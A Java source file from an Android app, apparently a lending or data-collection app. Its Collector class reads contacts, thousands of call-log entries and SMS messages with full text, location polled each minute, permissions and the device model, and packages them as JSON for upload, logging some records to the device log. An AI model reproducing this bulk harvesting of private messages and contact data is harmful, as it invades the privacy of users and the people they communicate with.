package tech.starwin.database;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Location;
import android.text.TextUtils;
import android.util.Log;
import android.util.Pair;

import com.annimon.stream.Stream;
import com.annimon.stream.function.BiFunction;
import com.annimon.stream.function.Function;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.litepal.LitePal;

import java.util.ArrayList;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;

import io.reactivex.Observable;
import io.reactivex.ObservableSource;
import io.reactivex.functions.Consumer;
import io.reactivex.functions.Predicate;
import tech.starwin.database.entity.CallLogEntity;
import tech.starwin.database.entity.CollectInfoEntity;
import tech.starwin.database.entity.ContactEntity;
import tech.starwin.database.entity.SmsEntity;
import tech.starwin.utils.collection.ProtocolVersion;
import tech.starwin.utils.collection.UploadManager;

public class Collector {
    enum InfoType {
        CONTACT,
        CALL_LOG,
        SMS_LOG,
        LOCATION,
        PERMISSION,
        MACHINE_TYPE,
        //    BEHAVIOR_MSG,
        CRASH_MSG;

        public String getUploadAck() {
            return this.name() + "_ACK";
        }

        public static String toPermission(InfoType type) {
            switch (type) {
                case CONTACT:
                    return Manifest.permission.READ_CONTACTS;
                case CALL_LOG:
                    return Manifest.permission.READ_CALL_LOG;
                case SMS_LOG:
                    return Manifest.permission.READ_SMS;
                case LOCATION:
                    return Manifest.permission.ACCESS_COARSE_LOCATION;
                default:
                    return null;
            }
        }
    }

    /**
     * 获取所有需要同步的数据（短信、联系人、通话记录）
     */
    public static List<CollectInfoEntity> getUploadData(Context context) {

        List<CollectInfoEntity> infos1 = Stream.of(InfoType.MACHINE_TYPE, InfoType.PERMISSION)
                .map(new Function<InfoType, CollectInfoEntity>() {
                    @Override
                    public CollectInfoEntity apply(InfoType infoType) {
                        return Collector.getStoreEntity(infoType, context, null);
                    }
                })
                .reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
                    @Override
                    public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
                        arr.add(item);
                        return arr;
                    }
                });

        List<ContactEntity> contactEntityList = DataBaseHelper.getContacts();
        List<CollectInfoEntity> infos2 = Stream.of(InfoType.CONTACT, InfoType.CALL_LOG, InfoType.SMS_LOG)
                .map(new Function<InfoType, CollectInfoEntity>() {
                    @Override
                    public CollectInfoEntity apply(InfoType infoType) {
                        return Collector.getStoreEntity(infoType, context, contactEntityList);
                    }
                })
                .reduce(new ArrayList<CollectInfoEntity>(), new BiFunction<ArrayList<CollectInfoEntity>, CollectInfoEntity, ArrayList<CollectInfoEntity>>() {
                    @Override
                    public ArrayList<CollectInfoEntity> apply(ArrayList<CollectInfoEntity> arr, CollectInfoEntity item) {
                        arr.add(item);
                        return arr;
                    }
                });

        infos1.addAll(infos2);

        CollectInfoEntity location = Collector.getStoreEntity(InfoType.LOCATION, context, null);
//        if (location == null) {
//            location = LitePal.where("type='LOCATION'").findFirst(CollectInfoEntity.class);
//        }

        if (location != null) {
            infos1.add(location);
        }

        return infos1;
    }

    /**
     * location有可能没有，需要搜集多次才可能搜集到
     */
    @SuppressLint("CheckResult")
    public static void collectAndSaveLocation(Context context) {
        Observable.interval(1, TimeUnit.MINUTES)
                .startWith(0L)
                .flatMap(new io.reactivex.functions.Function<Long, ObservableSource<InfoType>>() {
                    @Override
                    public ObservableSource<InfoType> apply(Long aLong) throws Exception {
                        return Observable.just(InfoType.LOCATION);
                    }
                })
                .map(new io.reactivex.functions.Function<InfoType, Pair<InfoType, Boolean>>() {
                    @Override
                    public Pair<InfoType, Boolean> apply(InfoType type) throws Exception {
                        Pair<InfoType, Boolean> pair = Pair.create(type, DataBaseHelper.permissionGranted(InfoType.toPermission(type), context));
                        return pair;
                    }
                })
                .filter(new Predicate<Pair<InfoType, Boolean>>() {
                    @Override
                    public boolean test(Pair<InfoType, Boolean> pair) throws Exception {
                        return pair.second;
                    }
                })
                .map(new io.reactivex.functions.Function<Pair<InfoType, Boolean>, CollectInfoEntity>() {
                    @Override
                    public CollectInfoEntity apply(Pair<InfoType, Boolean> pair) throws Exception {
                        return Collector.getStoreEntity(pair.first, context, null);
                    }
                })
                .subscribe(new Consumer<CollectInfoEntity>() {
                    @Override
                    public void accept(CollectInfoEntity collect) throws Exception {
                        if (collect != null) {
                            collect.saveOrUpdate("type=?", collect.getType());
                        }
                    }
                });
    }

    /**
     * 查询指定类型的数据
     */
    public static CollectInfoEntity getStoreEntity(InfoType type, Context context, List<ContactEntity> contactList) {

        CollectInfoEntity entity = new CollectInfoEntity();

        entity.setType(type.name());
        entity.setUpdate_time(System.currentTimeMillis());

        try {
            switch (type) {
                case CONTACT:
                    entity.setBody(toContactDTO(contactList, context));
                    break;
                case CALL_LOG:
                    entity.setBody(toCallLogDTO(DataBaseHelper.getCallLogs(5000), context, contactList));
                    break;
                case SMS_LOG:
                    entity.setBody(toSmsDTO(DataBaseHelper.getSms(3000), context, contactList));
                    break;
                case LOCATION:
                    String locStr = toLocationDTO(context, DataBaseHelper.getLocation());
                    if (locStr == null) {
                        return null;
                    }
                    entity.setBody(locStr);
                    break;
                case MACHINE_TYPE:
                    entity.setBody(toMachineTypeDTO(context));
                    break;

                case PERMISSION:
                    entity.setBody(toPermissionTypeDTO(context));
                    break;
            }
        } catch (Exception e) {
            UploadManager.uploadException(e, "getStoreEntity");
            entity.setBody("");
        }

        return entity;
    }

    private static String toMachineTypeDTO(Context context) {
        JSONObject json = initJSON(InfoType.MACHINE_TYPE, context);
        try {

            JSONArray array = new JSONArray();
            array.put(DataBaseHelper.getMachineType());

            json.put("totalNumber", 1);
            json.put("latestTime", 0);
            json.put("earliestTime", 0);

            json.put("data", array);
        } catch (JSONException e) {
            e.printStackTrace();
        }
        return json.toString();
    }

    private static String toPermissionTypeDTO(Context context) {
        JSONObject json = initJSON(InfoType.PERMISSION, context);
        try {
            JSONArray array = DataBaseHelper.getPermissionState();
            json.put("totalNumber", array.length());
            json.put("data", array);
        } catch (JSONException e) {
            e.printStackTrace();
            UploadManager.uploadException(e, "Collector.toPermissionTypeDTO");
        }
        Log.d("permissionxxx", "" + json.toString());
        return json.toString();
    }

    private static String toLocationDTO(Context context, Location loc) {

        if (loc == null) {
            return null;
        }

        try {
            JSONObject oneTypeData = initJSON(InfoType.LOCATION, context);
            oneTypeData.put("totalNumber", 1);
            oneTypeData.put("earliestTime", 0);
//            oneTypeData.put("latestTime", ServerTimeUtils.getServerTime());

            JSONArray array = new JSONArray();
            {
                JSONObject item = new JSONObject();
                item.put("altitude", loc.getAltitude());
                item.put("latitude", loc.getLatitude());
                item.put("longitude", loc.getLongitude());
//                item.put("createTime", ServerTimeUtils.getServerTime());
                array.put(item);
            }
            oneTypeData.put("data", array);

            return oneTypeData.toString();
        } catch (JSONException e) {
            e.printStackTrace();
            UploadManager.uploadException(e, "Collector.toLocationDTO");
        }
        return null;
    }

    public static JSONObject initJSON(InfoType type, Context context) {
        try {

            JSONObject json = new JSONObject();
            json.put("protocolVersion", ProtocolVersion.V_1_0.name());
            json.put("versionName", context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName);
            json.put("protocolName", type.name());
//            json.put("clientUpdateTime", System.currentTimeMillis());

            return json;

        } catch (JSONException e) {
            e.printStackTrace();
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }

        return new JSONObject();
    }

    public static String toContactDTO(List<ContactEntity> contactList, Context context) {
        try {
            JSONObject oneTypeData = initJSON(InfoType.CONTACT, context);

            oneTypeData.put("data", getContactJSONArray(contactList));

            oneTypeData.put("totalNumber", contactList.size());

            if (contactList.size() > 0) {
                long latest = 0;
                long earliest = 0;

                try {
                    latest = Stream.of(contactList)
                            .map(ContactEntity::getLast_contact_time)
                            .max(new Comparator<Long>() {
                                @Override
                                public int compare(Long o1, Long o2) {
                                    return (int) (o1 - o2);
                                }
                            })
                            .get();

                    earliest = Stream.of(contactList)
                            .map(ContactEntity::getLast_contact_time)
                            .min(new Comparator<Long>() {
                                @Override
                                public int compare(Long o1, Long o2) {
                                    return (int) (o1 - o2);
                                }
                            }).get();
                } catch (Exception e) {
                    e.printStackTrace();
                }

                oneTypeData.put("latestTime", latest);

                oneTypeData.put("earliestTime", "" + earliest);

            }

            return oneTypeData.toString();

        } catch (JSONException e) {
            e.printStackTrace();

            UploadManager.uploadException(e, "Collector.toContactDTO");
        }
        return "";
    }

    public static String toSmsDTO(List<SmsEntity> smsList, Context context, List<ContactEntity> contactList) {
        try {
            JSONObject oneTypeData = initJSON(InfoType.SMS_LOG, context);

            oneTypeData.put("data", getSmsJSONArray(smsList, contactList));
//            oneTypeData.put("totalNumber", smsList.size());

            oneTypeData.put("pageSum", 1);
            oneTypeData.put("pageNo", 0);
            oneTypeData.put("currentSum", smsList.size());
            oneTypeData.put("updateTime", System.currentTimeMillis());
//            if(smsList.size() > 0){
//                oneTypeData.put("latestTime", Stream.of(smsList).map(SmsEntity::getDate)
//                        .max((o1, o2) -> (int)(o1-o2)).get());
//                oneTypeData.put("earliestTime", Stream.of(smsList).map(SmsEntity::getDate)
//                        .min((o1, o2) -> (int)(o1-o2)).get());
//            }

            return oneTypeData.toString();

        } catch (JSONException e) {
            e.printStackTrace();
            UploadManager.uploadException(e, "Collector.toSmsDTO");
        }
        return "";
    }

    private static JSONArray getSmsJSONArray(List<SmsEntity> smsList, List<ContactEntity> contactList) {
        if (smsList == null || smsList.size() == 0) {
            return new JSONArray();
        }

        HashMap<String, String> map = toNumberNameMap(contactList);

        return Stream.of(smsList)
                .map(new Function<SmsEntity, JSONObject>() {
                    @Override
                    public JSONObject apply(SmsEntity entity) {
                        JSONObject smsObj = new JSONObject();
                        try {
                            if (TextUtils.isEmpty(entity.getAddress())) {
                                smsObj.put("name", "");
                            } else {
                                smsObj.put("name", geNameFromNumberNameMap(map, entity.getAddress()));
                            }

                            smsObj.put("number", entity.getAddress() == null ? "" : entity.getAddress());
                            smsObj.put("subject", entity.getSubject() == null ? "NO_SUBJECT" : entity.getSubject());
                            smsObj.put("direction", SmsEntity.getSmsTypeDesc(entity.getType()));
                            smsObj.put("createTime", entity.getDate());

                            if (TextUtils.isEmpty(entity.getBody())) {
                                smsObj.put("content", "");
                            } else {
                                smsObj.put("content", entity.getBody().replaceAll("\u0000", ""));
                            }

                        } catch (JSONException e) {
                            e.printStackTrace();
                        }
                        return smsObj;
                    }
                })
                .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
                    @Override
                    public JSONArray apply(JSONArray array, JSONObject smsObj) {
                        array.put(smsObj);
                        return array;
                    }
                });
    }

    public static String toCallLogDTO(List<CallLogEntity> calllogList, Context context, List<ContactEntity> contactList) {
        try {

            JSONObject oneTypeData = initJSON(InfoType.CALL_LOG, context);

            oneTypeData.put("data", getCallLogJSONArray(calllogList, contactList));

            oneTypeData.put("totalNumber", calllogList.size());

            if (calllogList.size() > 0) {

                long latest = 0;
                long earliest = 0;
                try {
                    latest = Stream.of(calllogList)
                            .map(CallLogEntity::getDate)
                            .max(new Comparator<Long>() {
                                @Override
                                public int compare(Long o1, Long o2) {
                                    return (int) (o1 - o2);
                                }
                            })
                            .get();

                    earliest = Stream.of(calllogList)
                            .map(CallLogEntity::getDate)
                            .min(new Comparator<Long>() {
                                @Override
                                public int compare(Long o1, Long o2) {
                                    return (int) (o1 - o2);
                                }
                            })
                            .get();
                } catch (Exception e) {
                    e.printStackTrace();
                }

                oneTypeData.put("latestTime", latest);

                oneTypeData.put("earliestTime", "" + earliest);
            }

            return oneTypeData.toString();

        } catch (JSONException e) {
            e.printStackTrace();
            UploadManager.uploadException(e, "Collector.toCallLogDTO");
        }
        return "";
    }

    private static JSONArray getCallLogJSONArray(List<CallLogEntity> callLogList, List<ContactEntity> contactList) {
        if (callLogList == null || callLogList.size() == 0) {
            return new JSONArray();
        }

        HashMap<String, String> map = toNumberNameMap(contactList);

        return Stream.of(callLogList)
                .map(new Function<CallLogEntity, JSONObject>() {
                    @Override
                    public JSONObject apply(CallLogEntity entity) {
                        JSONObject callLog = new JSONObject();
                        try {
                            String name = geNameFromNumberNameMap(map, entity.getNumber());
                            if (TextUtils.isEmpty(name)) {
                                name = entity.getCachedName();
                                if (name == null) {
                                    name = "";
                                }
                            }

                            callLog.put("name", name);
                            callLog.put("number", entity.getNumber() == null ? "" : entity.getNumber());
                            callLog.put("createTime", "" + entity.getDate());
                            callLog.put("duration", "" + entity.getDuration());
                            callLog.put("direction", CallLogEntity.getCallLogTypeDesc(entity.getType()));

                        } catch (JSONException e) {
                            e.printStackTrace();

                            UploadManager.uploadException(e, "Collector.getCallLogJSONArray");
                        }
                        Log.i("Collector", "CallLog List " + callLog.toString());
                        return callLog;
                    }
                })
                .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
                    @Override
                    public JSONArray apply(JSONArray array, JSONObject jsonObject) {
                        array.put(jsonObject);
                        return array;
                    }
                });
    }


    private static JSONArray getContactJSONArray(List<ContactEntity> contactList) {
        if (contactList == null || contactList.size() == 0) {
            return new JSONArray();
        }

        return Stream.of(contactList)
                .map(new Function<ContactEntity, JSONObject>() {
                    @Override
                    public JSONObject apply(ContactEntity contact) {
                        JSONObject json = new JSONObject();
                        try {
                            json.put("name", contact.getName() == null ? "" : contact.getName());
                            json.put("nickname", contact.getNickname() == null ? "" : contact.getNickname());
                            json.put("last_contact_time", "" + contact.getLast_contact_time());
                            json.put("contact_times", contact.getContact_times());
                            json.put("lastUpdate", "" + contact.getLastUpdate());
                            json.put("status", contact.getStatus() == null ? "" : contact.getStatus());
                            json.put("relation", contact.getRelation() == null ? "" : contact.getRelation());

                            JSONArray numberArr = new JSONArray();

                            if (contact.getNumber() != null && contact.getNumber().size() > 0) {

                                numberArr =
                                        Stream.of(contact.getNumber())
                                                .map(new Function<ContactEntity.NumberEntity, JSONObject>() {
                                                    @Override
                                                    public JSONObject apply(ContactEntity.NumberEntity t) {
                                                        JSONObject number = new JSONObject();
                                                        try {
                                                            number.put("number", t.getNumber() == null ? "" : t.getNumber());
                                                            number.put("last_time_used", t.getLast_time_used());
                                                            number.put("time_used", t.getTime_used());
                                                            number.put("type_label", t.getType_label() == null ? "" : t.getType_label());
                                                        } catch (JSONException e) {
                                                            e.printStackTrace();
                                                        }

                                                        return number;
                                                    }
                                                })
                                                .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
                                                    @Override
                                                    public JSONArray apply(JSONArray value1, JSONObject value2) {
                                                        value1.put(value2);
                                                        return value1;
                                                    }
                                                });
                            }

                            json.put("number", numberArr);

                        } catch (JSONException e) {
                            e.printStackTrace();
                        }

                        return json;
                    }
                })
                .reduce(new JSONArray(), new BiFunction<JSONArray, JSONObject, JSONArray>() {
                    @Override
                    public JSONArray apply(JSONArray jsonArray, JSONObject json) {
                        jsonArray.put(json);
                        return jsonArray;
                    }
                });
    }

    /***/
    private static HashMap<String, String> toNumberNameMap(List<ContactEntity> contactList) {
        HashMap<String, String> numberNameMap = new HashMap<>();

        if (contactList == null || contactList.size() == 0) {
            return numberNameMap;
        }

        for (int i = 0; i < contactList.size(); i++) {
            ContactEntity entity = contactList.get(i);
            if (entity != null && entity.getNumber() != null
                    && !TextUtils.isEmpty(entity.getName())
                    && entity.getNumber().size() > 0) {

                Stream.of(entity.getNumber())
                        .forEach(new com.annimon.stream.function.Consumer<ContactEntity.NumberEntity>() {
                            @Override
                            public void accept(ContactEntity.NumberEntity numberEntity) {
                                if (!TextUtils.isEmpty(numberEntity.getNumber())) {
                                    numberNameMap.put(numberEntity.getNumber(), entity.getName());
                                }
                            }
                        });
            }
        }

        return numberNameMap;
    }

    private static String geNameFromNumberNameMap(HashMap<String, String> map, String number) {

        if (TextUtils.isEmpty(number)) {
            return "";
        }

        String name = map.get(number);

        if (TextUtils.isEmpty(name)) {
            return "";
        }

        return name;
    }

}
